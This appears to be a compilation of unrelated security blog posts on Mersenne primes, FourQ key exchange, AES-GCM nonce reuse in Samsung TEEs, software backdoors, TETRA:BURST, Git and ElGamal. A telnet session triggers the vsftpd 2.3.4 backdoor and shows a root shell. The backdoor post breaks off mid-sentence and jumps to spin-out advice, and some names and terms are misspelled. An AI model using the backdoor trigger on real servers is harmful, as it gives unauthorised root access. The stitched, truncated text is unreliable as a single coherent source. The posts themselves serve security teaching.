import galoisimport sysn=2if (len(sys.argv)>1): n=int(sys.argv[1])print("Mersenne_exponents:", galois.mersenne_exponents(n))print("Mersenne primes:", galois.mersenne_primes(n))and a sample run [here]:
Mersenne_exponents: [2, 3, 5, 7, 13, 17, 19, 31, 61, 89, 107, 127, 521, 607]Mersenne primes: [3, 7, 31, 127, 8191, 131071, 524287, 2147483647, 2305843009213693951, 618970019642690137449562111, 162259276829213363391578010288127, 170141183460469231731687303715884105727, 6864797660130609714981900799081393217269435300143305409394463459185543183397656052122559640661454554977296311391480858037121987999716643812574028291115057151, 531137992816767098689588206552468627329593117727031923199444138200403559860852242739162502265229285668889329486246501015346579337652707239409519978766587351943831270835393219031728127]We can see that 2⁶⁰⁷-1 is 531137992816767098689588206552468627329593117727031923199444138200403559860852242739162502265229285668889329486246501015346579337652707239409519978766587351943831270835393219031728127.
The FourQ CurveThe core of the security you are using to access this page is probably provided with Elliptic Curve Cryptography (ECC), and where a session key is created through ECDH (Elliptic Curve Diffie Hellman). While there are a number of curves we can use, such as NIST P-256, Curve 25519 (as used in Tor) and Secp256k1 (as used with Bitcoin), there are some doubts about their security and their performance. And so Microsoft Research has produced the FourQ curve and which has 128-bit security. It is open source and runs efficiently on a number of platforms. At its core is the usage of the Mersenne prime of 2¹²⁷-1 [here]:
In tests, the Microsoft team showed that FourQ was four or five times faster than the NIST P-256 curve, and two or three times faster than Curve 25519. As so we turn to the wonderful Cloudflare, and their Circl library. Within this, Cloudflare has implemented FourQ, and is [here]:
package mainimport ( "crypto/rand" "fmt" "io" "encoding/hex" "github.com/cloudflare/circl/ecc/fourq")// 32 byte keys usedconst Size = 32 // type Key [Size]byte// From secret s, calculate public key (public=aG)func KeyGen(public, s *Key) { var P fourq.Point P.ScalarBaseMult((*[32]byte)(s)) P.Marshal((*[Size]byte)(public))}func Shared(shared, secret, public *Key) bool { var P, Q fourq.Point ok := P.Unmarshal((*[Size]byte)(public)) Q.ScalarMult((*[Size]byte)(secret), &P) Q.Marshal((*[Size]byte)(shared)) ok = ok && Q.IsOnCurve() return ok}func main() { var AliceSecret, BobSecret, AlicePublic, BobPublic, AliceShared, BobShared Key // Generate Alice's private key and public key _, _ = io.ReadFull(rand.Reader, AliceSecret[:32]) KeyGen(&AlicePublic, &AliceSecret) // Generate Bob's private key and public key _, _ = io.ReadFull(rand.Reader, BobSecret[:]) KeyGen(&BobPublic, &BobSecret) fmt.Println("Fourq key sharing") fmt.Println("Alice Secret: ", hex.EncodeToString(AliceSecret[:32])) fmt.Println("Alice Public: ",hex.EncodeToString(AlicePublic[:32])) fmt.Println("\n\nBob Secret: ", hex.EncodeToString(BobSecret[:32])) fmt.Println("Bob Public: ",hex.EncodeToString(BobPublic[:32])) // Determine shared keys Shared(&AliceShared, &AliceSecret, &BobPublic) Shared(&BobShared, &BobSecret, &AlicePublic) fmt.Println("\n\nBob Shared:\t", hex.EncodeToString( BobShared[:32] )) fmt.Println("Alice Shared:\t", hex.EncodeToString( AliceShared[:32] ))}With this, Alice produces her private key (a), and Bob produces his private key (b). We select a point on the elliptic curve (G), and Alice passes aG to Bob, and Bob passes bG to Alice. The shared key is then abG. A sample run is [here]:
== Fourq key sharingAlice Secret: 4d4ae7584414589e7688507cbd0eb1f107352176eac219ec49d698e0868f83a6Alice Public: 6e34b72d675cf331ed856393580e9f74fce2a9d2cce10f2e15d58070a70d2567Bob Secret: 19b5c6a97dad74f0ffdaf9cb4bec561de3124b4c90f90f2f618db6cc0f5f9b8eBob Public: e2159ddc2efc501ccc01f1df78d5d14061edf3b284ae98095e747b7aeac63306Bob Shared: 0112c5090679d20d4363a670ff61d554284519c6d371e61cc9526d65d5a763a0Alice Shared: 0112c5090679d20d4363a670ff61d554284519c6d371e61cc9526d65d5a763a0And in the end Bob and Alice have the same shared key, and which they could use for a tunnel.
The Mersenne TwisterAnother application of Mersenne primes is in the implementation of a random number generation and is known as the Mersenne twist. A typical exponent value used is 19,937 (2²¹⁹⁹³⁷-1). Overall, PRNGs are deterministic and periodic, but the core strength of the Twister method is the pseudo sequence is unlikely to repeat with 2¹⁹⁹³⁷-1 random numbers:
Overall the method uses sequential states, and where it should not be reasonably possible to know the next state from the current state. But some researchers have shown that “sparse” states can exist, and where there are very few ones or very few zeros, the next state will also be sparse.
The method has been criticized for using up so many bits (19,937) for the states, and that for security a state value of 256 bits would still be enough, but have a strong effect on the overall performance of the method. A pseudo sequence repeating in 2²⁵⁶ can still be seen as being secure.
If you want to try this, click [here].
Lucas-Lehmer TestThe Lucas–Lehmer test (LLT) is used to test for the primality of Mersenne numbers. It was initially created Edouard Lucas in and then enhanced by Derrick Hentry Lehmer:
For this test, we initially define u_0=0 and we calculate:
If u_{s−2}=0 then it is a prime number. Here are some tests for Mersenne Primes:
The following is the code [here]:
import syss=18if (len(sys.argv)>1): s=int(sys.argv[1])if (s>127): sys.exit(1)u=4n=pow(2,s)-1print (f"n=2^{s}-1={n}\n")for k in range(1,s-1): u=((u*u)-2) %n print (u,end=' ')if (u==0): print ("\n\nIt is prime")else: print ("\n\nIt is not prime")And a sample run for 2¹⁹-1 [here]:
n=2^19-1=52428714 194 37634 218767 510066 386344 323156 218526 504140 103469 417706 307417 382989 275842 85226 523263 0 It is prime ConclusionsGreat Internet Mersenne Prime Search (GIMPS) distributed system continues to try and discover the next Mersenne prime [here]. In April 2021, it stopped using the Lucas-Lehmer, and moved on to the Fermat PRobable Prime (PRP) Test. This uses:
a^{p-1} (mod p) = 1
and where p is a prime number.
If you want to discover more about the wonderful world of prime numbers, try here:
Symmetric key encryption involves a single key to encrypt and decrypt and where Bob and Alice can use the same encryption key. The two most popular symmetric key methods are AES — Advanced Encryption Standard — and ChaCha20. Along with this, we either have a block cipher or a stream cipher. With a block cipher, we process a number of bytes at a time with our ciphering process. With AES, we have a 128-bit block size, and thus process 16 bytes for each block. For a stream cipher, we generate a pseudo infinitely long key stream from a passphrase or random value, and then just XOR this with the plaintext. The size of the key stream is match to the number of bytes in the plaintext. To decrypt, we just generate the same key stream, and XOR it with the ciphertext to recover the plaintext.
I am often surprised by how little care many companies have in their encryption process and do not review the fundamental weaknesses of using symmetric key encryption. For many, it is a tick-box approach, where an auditor just asks if they are using encryption or not. It should not be, and there are many weaknesses that need to be taken into account. So, here’s the bluffer’s guide to modes in AES:
All of the other modes have a salt (IV or nonce) value:
There are other modes, such as OFB (Output Feedback) and CFB (Cipher Feedback), but these are not used that much. For this in the finance industry, you might also be using 3DES, and which has not been broken, but is much slower than AES and ChaCha20. Here are some performance tests [here]:
Generally, the stream ciphers can struggle against nonce reuse, and if the same nonce is used, it can be possible to break AES by XOR’ing cipher streams.
And to show the breaking of the integrity of AES:
Can You Trust AES Encryption? In this article, I will not break the AES method (as it has yet to be broken), but breach its integrity. This is…billatnapier.medium.com
But, it’s NIST defined!There is no guarantee that because NIST defines something as a standard that it will be secure, as it all depends on the implementation. ECDSA and EdDSA are NIST standards but have been easily broken in the past with poor implementations.
We have seen that CTR mode is weak against bit-flipping, and where GCM creates a MAC to defend against this. While it is nearly impossible to flip the bits of the cipher and of the MAC, and for them to tie-up, it is certainly possible to recreate a valid MAC and replace it, when a nonce is reused.
So, companies who take security seriously should understand their risks, and test accordingly. Those involved in areas of high risk, such as dealing with financial data and PII, should understand the risks in the methods they implement and not just tick a box to say that they have encrypted the data. I have seen many examples of companies ploughing on with the same old encryption methods — even though they have significant weaknesses.
I wrote up an article on a recent Samsung vulnerability [here], and one comment said … “it’s an old bug, reuse of IV (Initialisation Vectors) seem a very basic problem”. On the face of it, the comment perhaps doesn’t go into enough detail, so I’ll try and explain the “bug” and hopefully show that it is shockingly bad coding … almost negligent in terms of protection, and could even be seen as an intentional backdoor.
And for a “very basic problem”, it should perhaps be “extremely bad coding”, and this “bug” should never, ever be seen within trusted environments. It shows an almost complete lack of knowledge in how cryptography works, with a novice vulnerability. The paper is here [1]:
In fact, it’s like WEP all over again, and where the WEP Wifi method had a small IV (Initialisation Vector), and when it rolled out, it was possible to just XOR cipher streams, and discover the plaintext. The asleep program could crack any Cisco access point in less than a day. Luckily we now use WPA-2, and which does not have the reuse of the IV.
I hope to show that we should be worried if code such as this ever gets near a user’s device. In fact, if there was ever a back door in a mobile phone, it could be this one.
If you want to read about the “bug”, try here:
Crypto Bug in Samsung Galaxy Devices: Breaking Trusted Execution Environments (TEEs) If you use an Apple Macbook, it’s likely that you have a secret enclave for important secrets — such as your encryption…medium.com
A bad “bug”Now, I will explain how bad this “bug” is. If you are into cybersecurity, you should hopefully know that AES GCM is a stream cipher. With this, we take a secret key value and a salt value (an IV — Initialisation Vector) and generate a pseudo infinite keystream. Our plaintext is then simply XOR-ed with the keystream to produce our ciphertext:
The salt value should then always be random, as a fixed salt value will always produce the same keystream for the same plaintext, and where we can reveal the keystream by XOR-ing cipher streams, and eventually revealing the plaintext. In the case of the key wrapping, the plaintext is an encryption key, and thus the encryption key used by the TEE will be revealed.
If we reuse IVs, Eve will be able to XOR cipher streams together and reveal the keystream (K). From there she can decrypt every cipher stream, but simply XOR-ing the cipher stream with K.
CodingAES GCM (Galois Counter Mode) is a stream cipher mode for AES. It is based on the CTR mode but converts to a stream cipher. This provides low latency in the encryption/decryption process and is fast to process. Along with this, it integrates AEAD mode for authentication. But as GCM is a stream cipher mode, it is open to a reuse IV attack. With this, the IV (Initialization Vector) of the cipher is the same for two cipher messages. We can then XOR to the two cipher streams together to reveal the cipher stream key (K). We can then reveal the plaintext by XOR-ing any cipher stream with K.
So, let’s try some code to do this. In this case, I will use Golang to show the basic principles of the method. I will use a static key in this case (as this would not change within the TEE) of “0123456789ABCDEF” (16 bytes — 128-bit key), and a static nonce of “0123456789AB” (12 bytes — 96 bits) [here]:
package mainimport ( "crypto/aes" "crypto/cipher" "fmt" "os")func xor(a, b []byte, length int) []byte { c := make([]byte, len(a)) for i := 0; i < length; i++ { c[i] = a[i] ^ b[i] } return (c)}func main() { nonce := []byte("0123456789AB") key := []byte("0123456789ABCDEF") block, err := aes.NewCipher(key) if err != nil { panic(err.Error()) } msg1 := "hello" msg2 := "Hello" argCount := len(os.Args[1:]) if argCount > 0 { msg1 = (os.Args[1]) } if argCount > 1 { msg2 = (os.Args[2]) } plaintext1 := []byte(msg1) plaintext2 := []byte(msg2) aesgcm, err := cipher.NewGCM(block) if err != nil { panic(err.Error()) } ciphertext1 := aesgcm.Seal(nil, nonce, plaintext1, nil) ciphertext2 := aesgcm.Seal(nil, nonce, plaintext2, nil) xor_length := len(ciphertext1) if len(ciphertext1) > len(ciphertext2) { xor_length = len(ciphertext2) } ciphertext_res := xor(ciphertext1, ciphertext2, xor_length) fmt.Printf("Message 1:\t%s\n", msg1) fmt.Printf("Message 2:\t%s\n", msg2) fmt.Printf("Cipher 1:\t%x\n", ciphertext1) fmt.Printf("Cipher 2:\t%x\n", ciphertext2) fmt.Printf("Key:\t\t%x\n", key) fmt.Printf("Nonce:\t\t%x\n", nonce) fmt.Printf("XOR:\t\t%x\n", ciphertext_res) plain1, _ := aesgcm.Open(nil, nonce, ciphertext1, nil) plain2, _ := aesgcm.Open(nil, nonce, ciphertext2, nil) fmt.Printf("Decrypted:\t%s\n", plain1) fmt.Printf("Decrypted:\t%s\n", plain2)}When we run with “hello” and “Hello” we get [here]:
Message 1: helloMessage 2: HelloCipher 1: 7fcbe7378c2b87a5dfb2803d4fcaca8d5cde86dbfaCipher 2: 5fcbe7378cf8c68b82a2b8d705354e8d6c0502cef2Key: 30313233343536373839414243444546Nonce: 303132333435363738394142XOR: 2000000000d3412e5d1038ea4aff840030db841508Decrypted: helloDecrypted: HelloIf we try “hello” and “Cello”, we can see that there’s a variation in the first byte of the cipher stream:
Message 1: helloMessage 2: CelloCipher 1: 7fcbe7378c2b87a5dfb2803d4fcaca8d5cde86dbfaCipher 2: 54cbe7378c5638db82df34a46172abed62b887aa48Key: 30313233343536373839414243444546Nonce: 303132333435363738394142XOR: 2b000000007dbf7e5d6db4992eb861603e660171b2Decrypted: helloDecrypted: CelloThe “bug” allowed a user program to request their own IV, which meant that a cracker would continually request the same IV, and then break the cipher, and reveal the encryption key used. This is because the TEE (Trusted Execution Environment) uses key wrapping to encrypt the encryption key with AES GCM, so a cracker can request these wrapped keys, but with their own IV. This then reveals the key that the TEE is using. This is extremely bad coding!
ConclusionThis is extremely bad coding, and I would not expect this level of implementation from a new graduate. If a development team creating code within a TEE doesn’t understand a reuse IV attack, they need to go on a secure coding training course before they ever touch any more trusted code. If this was an intentional backdoor, that’s a whole other story. I hope, it was just a bug, but we really need to improve our knowledge in the creation of TEEs, as these also run within Cloud-based systems.
Reference[1] Shakevsky, A., Ronen, E., & Wool, A. (2022). Trust Dies in Darkness: Shedding Light on Samsung’s TrustZone Keymaster Design. Cryptology ePrint Archive.
Blog: https://medium.com/asecuritysite-when-bob-met-alice/the-art-of-the-backdoor-e39f001ea8b9
Do you ever worry that your locksmith may take a copy of your key when they fit a new lock? Or that your locksmith has defined a lock which they know they have a skeleton key for? Or that your locksmith modifies the lock so that they can compromise it?
And so we trust those that create locks to design them so that they cannot be broken easily, and that lock standard agencies around the world to set standards that promote good lock design, and, most of all, that locksmiths can be trusted to fit them without compromising them (and in giving us good advice).
IntroductionWell, let’s look at software backdoors. Overall it’s not an easy thing to put in a backdoor in a piece of software. Well, let me re-phrase that … “it is not an easy thing to put in a backdoor in a piece of software and for it not to be seen”.
Computer security is a serious business, but you must smile a little when you see the lengths that some intruders will go to in order to compromise systems. Organisations such as the NSA have long been accused of applying backdoors into cryptography software, but the recent Apple login hack shows that there are lots of opportunities for others to get in on the act. The addition of a backdoor in the Apple compiler showcased the opportunity for large-scale compromises.
Overall there are a number of ways that a backdoor can be added to a piece of software:
The open-up of a network connection will obviously be detected on the system, but code writers have implemented a number of smart ways to cover this up, including passing secret passphrases for passwords, or with port knocking, where network packets are sent to a well-known open port, which then causes another port to open.
A. Defining a standard you know you can crackA key focus for law enforcement is the cracking of cryptography, especially for tunnels and VPN connections. Devices created by Juniper were found to have a flaw which allows agencies to decrypt VPNs traffic. The company may have also used Dual EC (Elliptic Curve) DRBG (Deterministic Random Bit Generator) for generating the random numbers required to create VPN tunnels. This method, which was promoted by the NSA, has a known weakness and can be cracked.
The possible backdoor in Dual EC DRBG has been known about since 2004, and the team who worked on it had the chance to plug the gap but failed too. It thus allows law enforcement agencies to crack SSL/TLS encrypted traffic which used the method for random number generation. It was thus assumed that no one would use the method, but, in Juniper’s case, it has been found in some of their devices.
In 2013, Edward Snowden showed NSA memos which indicated that the NSA had been the sole editor of the standard, whereas NIST responded that it did not deliberately weaken any cryptography standard. The following year, NIST recommended that companies stop using it, and withdrew it from its draft guidance on random number generation. In 2013, also, OpenSSL was found to be implementing the method, which allowed TLS/SSL connections to be decrypted.
The back door in the standard for Elliptic Curve method for Dual_EC_DRBY caused a great deal of suspicion on the definition of NIST’s P curve standards, and that they had selected them so they could have an advantage in breaking the public keys. Most of the industry has moved away from the P standards (such as P-256) and towards Curve25519 (which is shown in the graphic on the right-hand side and which was created by Daniel J Bernstein), and now used by Tor, Signal, What’s App, Facebook, OpenSSH, and many other standards. In 2013, Bruce Scheiner stated that he didn’t trust the values selected:
I no longer trust the constants. I believe the NSA has manipulated them through their relationships with industry
I have plotted some of the standard Elliptic Curve parameters [here].
B. Source code additional back doorIt has long been the case where code writers have added additional code which allows them back into the code whenever required. They will often add debug functions which can be remotely enabled, but where they forget to switch-off. This backdoor method works well until the source code is read, and the additional code is revealed. With the rise of Git hub repositories, it can become obvious as to when the backdoor has been added. The following outlines a few backdoors:
A classic backdoor was added to an FTP server (vsftp), which has an intentional backdoor within the version running on it. The back door is exploited with the username ending with:
“:)”
and then the server listens on port 6200 and awaits a connection:
root@ubuntu:~# telnet 1.2.3.4 21Trying https://www.linkedin.com/redir/invalid-link-page?url=192%2e168%2e99%2e131...Connected to https://www.linkedin.com/redir/invalid-link-page?url=10%2e200%2e0%2e1.Escape character is '^]'.220 (vsFTPd 2.3.4)user mybackdoor:)331 Please specify the password.pass none ^]telnet> quitConnection closed.telnet 1.2.3.4 6200Trying https://www.linkedin.com/redir/invalid-link-page?url=10%2e200%2e0%2e1...Connected to https://www.linkedin.com/redir/invalid-link-page?url=10%2e200%2e0%2e1.Escape character is '^]'.id;uid=0(root) gid=0(root)The UnrealRCD IRC daemon runs on port 6667. The version on Metasploitable has a backdoor where the user sends “AB”, and then follows it with a system command on a listening port (see demo above).
Intentional backdoorsCryptography cracking is often one of the most challenging areas for investigators to crack, so there have been many allegations of companies tampering with source code in order to create backdoors. While these are not necessarily network connections, the software is modified in a way which changes the functionality of the encryption function.
One company — Crypto AG, a Swiss cryptography company who make encryption machines — has been accused of modifying their software in collusion with intelligence agencies from Germany (BND), the UK (GCHQ) and US (NSA). This was highlighted, in 1986, when Ronald Regan announced that the US had intercepted encrypted diplomatic communications between Tripoli and the Libyan embassy in East Berlin, related to a bombing in Berlin. In 1992, the Iranian government even arrested Hans Buehler, a salesman for the company, but was released in 1993 without revealing any flaws in the machines (and after $1 million bail money was paid).
Crypto AG soon after dismissed Hans and requested he pay back the $1m. Since then Der Spiegel has interviewed former employees and concluded that the machine was indeed rigged. Even after several other investigations, there is still no conclusive proof of the rigging, but some suspect that the relationship with defence agencies goes back to 1954.
Juniper backdoorJuniper recently announced that there were two backdoors on their devices, and which allowed intruders to gain administrator access and also decrypt the encrypted content. It was the kind of shock that has not been seen since the asleep script was released, and which could crack most Cisco Wi-fi access points which used the LEAP authentication method.
With backdoors in cryptography being a hot topic, Juniper revealed that it had traced “unauthorized” code within its ScreenOS operating system on some of its firewalls, and which allowed an intruder to take complete control of Juniper’s NetScreen firewalls using a hard-wired password. This would allow them to decrypt all the encrypted traffic for VPN connections. There is a patch for this, but intruders can now determine the required password — which has been hard-wired into the code — by examining the ARM code used in the backdoor:
The strange thing is that the password is “
I often get asked about what makes a successful university spin-out, so here are my observation for any budding academic team looking to spin out:
And finally:
Success leads to more trust. When you write a research proposal, you have a long statement about why you should be trusted to gain the funds. A core part of this is defining and articulating your success. No one ever really defines all their failures, but for anyone who has been successful, this is probably been a core part of the reason they have been successful. So the more success you have, the more likely that you will be trusted with other people’s money and time. If you cannot articulate your success to others, you will often struggle to influence others. Document and capture your successes are you go along, and get others to make comments on them.
There’s one little program that I could not do my work without … Git.
And, so, our digital world needs to say a great thanks to the wonderful Linus Torvalds. In fact, without him, our digital world would be a whole lot more locked-down and controlled by large and faceless companies. Without Linus, we would probably now be dominated by Microsoft Windows, and your car and your mobile phone would probably be running Windows for its interface (yuk!). And if the software in your car crashed — as it would likely do on a regular basis — you might possibly have to connect a keyboard to your instrument panel and press Ctrl-Alt-Del.
Your TV, too, would possibly boot up into Microsoft Windows, and you’d need a mouse to control it. And our world of servers would possibly mainly be running on Microsoft IIS and use MS SQL databases. And, to back up your code, you would need a licence for Microsoft Backup 3.1, and where you dragged your folders over to make updates. Possibly, the command line terminal would have been dropped in favour of GUI (Graphical User Interface) approaches.
So, just as in the famous advert from Apple in 1984 which illustrated the smashing of a Big Brother screen, Linus smashed the world of Windows — sorry for the pun!
https://www.youtube.com/watch?v=2zfqw8nhUwA
And, so rather than a world of Microsoft Windows, our world is full of Linux and associated distributions. For this, he wrote the first version of the Linux kernel and wrote the original version of Linux with pure machine code. I suppose there is something in the DNA for the Finnish people, that wants to be open about things, and not close them down with patents and restrictions.
GitSo, while the creation of Linux is possibly one of the greatest advancements in Computer Science. There is something even better … Git. With Git we have a version control system of code and documents. I use it every day, and it saves me so much time and effort. I use it in so many ways, including archiving my code and updating my Golang libraries. At its core is a smart way of keeping track of any version of a file and the difference between them.
Linus wrote Git in 2005 for his Linux kernel but is now maintained by Junio Hamano. At its core, each host maintains a complete repository of all the files it has archived and how they have been modified. This differs from the client-server-based approach of code repositories, as the tracking can be done independently from a server.
With Git, you end up with some commands that are hard-wired into your memory. We use “git add .” to add new files, then “git commit -m ‘New update’” to search for changes in the files, and then finally a “git push” to upload the new versions. Then a “git pull” to get things back. Anyone who has ever lost their code or created a bad version will know the power of using Git to recover things. Three basic commands are thus:
git add .git commit -m "My new update"git pushBut, it’s not just code it can archive; it can archive many different document types, and it particularly likes mark-up documents such as LaTeX. Overall, Microsoft Word is terrible for version control, as the file is encapsulated in a Zip file. Many developers thus use LaTex and archive with Git. The great advantage of this is — just like Wiki’s — we can trace the updates through text. It also allows us to easily share documents and allow collaborative work (as Git can keep a track of the update). And, for large files which are more than GBs in size there is Git Large File Storage (LFS) — git-lfs.
And, so, if we were to start the Internet again, possibly LaTeX and Git would be used to create our documents, and we would have no Microsoft Word. In fact, we would probably not need Microsoft Windows, as our world would be open-sourced with the use of Linux. While Linux has always struggled to compete with Microsoft Windows and Mac OSX, it is open and free. The code for Linux, too, is open to all to examine and update. People often maintain open-source software as they have a real belief in its power and in how it frees us from the dominance of large and powerful companies.
Not just for source codeThere are so many use cases of using Git that are not just versioning code. For my own teaching, I use Git to push my PowerPoint slides, source code and labs. Students can easily download the whole module at the start of the course and thus just to a “git pull” for any updates. Students, too, can mark typos in the material. You can find this at:
https://github.com/billbuchanan/appliedcryptoAnother interesting example is the District of Columbia and which publishes its laws through Git. This allows everyone involved to keep track of changes in the law and also spot errors and typos. If you are interested, the laws are marked up with XML and available at:
https://github.com/DCCouncil/law-xmlThis, though, is the definitive source of the law, and not a copy from another system, and where a “pull request” allows someone to update a document, and then for the maintainer to review and change, if required.
ConclusionsTo, me, Git is the one tool I could not do my work without. I love it, as I don’t need a fancy GUI, I just drop down to the console and let my fingers to the walking. And, so, just like smashing Big Brother, Linus smashed a closed digital world and free us from the control of software. If we were to start the computer and software industry again, it would be Linus’ route we would take and not the closed-source world of big business. If not for Git, we would probably be using Microsoft Backup 3.1 and dragging our files from one place to the next.
Blog: https://medium.com/asecuritysite-when-bob-met-alice/tetra-burst-42773a490b35
Introduction
Anyone can create a cipher. Basically, Bob and Alice do some modulo maths and could encrypt their secret messages into ciphertext by multiplying by 10 and adding 5, and then to decrypt back into plaintext, they would just subtract the ciphertext by 5 and divide by 10. The maths involved could then be defined by a Galois Field (GF)— and which is named after Évariste Galois. Bob and Alice could then keep their method secret from Eve (their adversary), and where they believe their method is secure and thus do not ask Trent to evaluate its security.
But Eve is sneaky and tries lots of different ways to crack the cipher. Eventually, after trying to crack the ciphertext, she discovers the method, and can then crack all the future (and, possibly, previous) ciphers. Bob and Alice then carry on using the secret cipher method and would then have no way of knowing that Eve now knows their method.
This approach is often known as “cooking your own crypto”, and is not recommended in most implementations. Along with this, as Bob and Alice try to hide their method from Eve, the approach is “Security by obfuscation” rather than “Security-by-design”.
Cooking your own cryptoThere are many cases of propriety cryptography methods being used in production. In 2013, for example, researchers at the University of Birmingham found flaws in the key fobs related to the Volkswagen group vehicles. In fact, the encryption used in the Swiss-made Megamos transponder was so weak that an intruder only needed to listen to two transmitted messages from the fob in order to crack the key.
The vulnerability related to the poor, proprietary cryptographic methods used by the device, and where the researchers found they could generate the transponder’s 96-bit secret key and start the car in less than half an hour. The vulnerability has been well known since 2012, and code to exploit the flaw has circulated online since 2009. Yet, at the time, there was no product recall for the dozens of models that were affected, including Audi, Porsche, Bentley and Lamborghini, Nissan and Volvo. The research team were even stopped from publishing their work through the threat of legal action from Volkswagen.
Testing, Evaluation and StandardizationAlong with the risk of discovering a secret method, the other major problem is that the method used to create a cipher is when it is not rigorously reviewed by experts. This can take years of reviewing and testing — both in the formal theory and in practice. Many companies, too, have bug bounties and which try to discover vulnerabilities in their code. To overcome this, NIST has created open competitions for the standardization of encryption methods. These have included standards related to symmetric key encryption (AES), hashing methods (SHA-3) and post-quantum cryptography (PQC). Once rigorously evaluated, the industry can then follow the standards defined, and where proprietary methods and implementations are often not trusted.
With symmetric-key methods (where the same key is used to both encrypt and decrypt), at one time, we used a wide range of methods, such as DES, 3DES, RC2, RC4, Blowfish, and Twofish. To overcome this, NIST set up an operation standardization process for the Advanced Encryption Standard (AES). In the end, and after extensive testing and performance analysis, the Rijndael method was selected. It is now used in most systems, with either a 128-bit, a 192-bit or 256-bit encryption key. Overall, the larger the key size, the more difficult it is to brute force the key.
The TETRA standardThis week it has been reported that the TETRA (TErrestrial Trunked RAdio) standard [here] has a number of vulnerabilities in its cryptography. Overall, TETRA is used by many police and military forces across the world for encrypted radio. These vulnerabilities have existed for over a decade and could have led to the leakage of sensitive information.
These vulnerabilities have been discovered by Midnight Blue and will be presented as “Redacted Telecom Talk” at Black Hat 2023 on 9 August 2023 [here]. As the work is so sensitive, there are many issues related to its disclosure, so the full details of the talk have not been released. But, it has involved over 18 months of responsible disclosure related to the cracking of TETRA-powered radios purchased from eBay.
TETRA was first standardised by the European Telecommunications Standards Institute (ETSI) in 1996 and used by many radio manufacturers, such as Motorola and Airbus. It does not have open-source software and relies on cryptography which is secret and proprietary.
TEA1 — Intentionally weak cryptoGoverments around the world have generally used export controls on cryptography — in order to reduce security levels so that their own law enforcement agents have a good chance to crack encrypted traffic outside their own borders. One of the most famous was related to Netscape and who created the original version of TLS (Transport Layer Security) that created a secure channel for Web pages — the HTTPs that we see on most of our Web accesses now.
This, though, had reduced security levels because of export control — with the RSA method used set at only 512 bits (and which is now easily crackable). As this key was used to pass the encryption key that was used in the secure tunnel, it meant that agencies could break the communications channel for HTTPs communications. We have since paid for this weakening —and with vulnerabilities such as Freak and BEAST. The vulnerability in TETRA, too, relates to similar issues and where the cryptography was reduced to comply with export controls. Within TERTA, the TEA1 method reduces the key size down to 80 bits, and, along with other vulnerabilities, allows the encrypted traffic to be cracked within minutes on a standard laptop.
Along with this, researchers found other vulnerabilities with TETRA methods that released sensitive information — including within historical communications. The core vulnerability involved a jump-off from the main interface on the radio, and then which followed through with running malicious code execution on the process and then onto the signal processor and wifi hardware. This main chip on the device then contains a secure enclave, which stores the main encryption keys. The team were able to access this chip and discover the cryptography methods used and associated artefacts. For this, they have dubbed the vulnerability TETRA:BURST [here]:
The reduced security method of TEA1 was discovered as having an encryption key of just 80 bits (normally, we would use a 128-bit key size, at least). A key size of 80 bits puts it within a range which can be cracked using GPU clusters. But, the research team found a “secret reduction step” which supported lower levels of randomization for the encryption key and which significantly reduced the key strength. Using this, the team were able to crack the communication with consumer-level hardware and with inexpensive radio equipment. Ultimately, the researchers define the attack as fairly trivial to implement.
Vulnerabilities discoveredA number of CVEs have already been defined for the vulnerabilities. These are [here]:
On the CVE database [here], these vulnerabilities are marked as “** RESERVED **” and will be populated soon.
ConclusionsWhat we have here is “Security by obscurity” and not “Security by design”. It is difficult to keep anything a secret these days, and, as much as possible, methods should be open to assessment. Along with this, the reduction in the security level for TEA1 is causing major problems — just the Netscape restriction on TLS left us with a security legacy that took decades to address.
ElGamal methods: https://asecuritysite.com/elgamal
Introduction
In research, we build on the shoulders of giants, and Taher Elgamal is one of the giants of cybersecurity. His work on Netscape led to the creation of SSL, and for which much of our Web security is still built on. Along with this, he published this paper in 1985 [here]:
It was true classic, and has been reference over 12,500 times. Within the paper, Tahir outlined an encryption methods and a digital signature method. His ‘base’ was to take John Napier’s logarithm, and make them discrete. This discrete element meant that we only dealt with positive integer values, and where we worked within a finite field. This field was defined by a prime number (p).
While the core ElGamal encryption method was overtaken in its usage by RSA, and then by ECC (Elliptic Curve Cryptography), the signature method was adopted as the Digital Signature Standard (DSS) by NIST. This has since scaled into ECC to become ECDSA, and which is used by Bitcoin and Ethereum.
Tahir studied electrical engineering in the late 1970s at Stanford University. It was there he met Marty Hellman and who helped him spark an interesting in cryptography. He received his PhD in 1984 and it was Marty introduced him to Paul Kocker at Netscape Communications. Together, Paul and Tahir worked on a method to implement end-to-end encryption, and published SSL 3.0 in November 1996:
Examples are at:
https://asecuritysite.com/elgamal
The ElGamal MethodBefre we start we need to look at some of the basics of logarithms and where:
{g^a}^b is g^{ab}
and:
g^a . g^b = g^{a+b}
To make these discrete to add (mod p) in our operations and where p is a prime number. This constrains our integrates with a finite field, between 0 and p-1.
In the ElGamal method, Initially, Bob creates his public key by selecting a g value and a prime number (p) and then selecting a private key (x). He then computes Y which is:
Y=g^x (mod p)
His public key is (Y,g,p) and he will send this to Alice. Alice then creates a message (M) and selects a random value (k). She then computes a and b:
a=g^k (mod p)
b=y^k.M (mod p)
Bob then receives these (a and b), and then uses his private key (x) to decrypt the values and discover the message:
M=b/(a^x) (mod p)
With the divide by (a^x) we basically take the inverse of (a^x) mod p, and then multiply. The operation works because:
ElGamal and SignaturesWith ElGamal signing, Alice has a public key (y,g,p) and a private key of a. She then takes a message m and creates a signature (r,s). This signature can then be checked by Bob.
With ElGamal, Alice selects a generator (g), prime number of p and a private key of a. Her public key is then (y,g,p) and where y is:
y=g^a (modp)
To sign a message (m) we generate a secret random number (k) and we must make sure:
gcd(k,p−1)=1
Next we compute:
r=g^k (mod p)
Next we compute:
k^{−1} (mod p−1)
and then:
s=k^{−1}(h(m)−ar) (modp−1)
The signature is then (r,s). Bob verifies the signature by computing two values:
v1=y^r.r^s (mod p)
and:
v2=g^{h(m)} (mod p)
If v1 is equal to v2
the signature has been verified. The proof is given here:
https://asecuritysite.com/elgamal/el_sig2
While, ElGamal signing is not used these days, its method were applied into the Digital Signature Algorithm (DSA), and which was since been coverted into the Elliptic Curve Digital Signature Algorithm (ECDSA) method.
Converting from discrete logs to elliptic curvesIn discrete logs we convert from:
Y=g^a (mod p)
to
Y=a.G
and where we have a exponential for discrete logs we have:
Y = {g^a}^ b
is equivalent to:
Y=a.b.G
and for a multiplication we have
Y=g^a.g^b (mod p) = g^{a+b} (mod p)
In elliptic curves we convert the multiplication to a point addition:
Y = a.G + b.G = (a+b) G
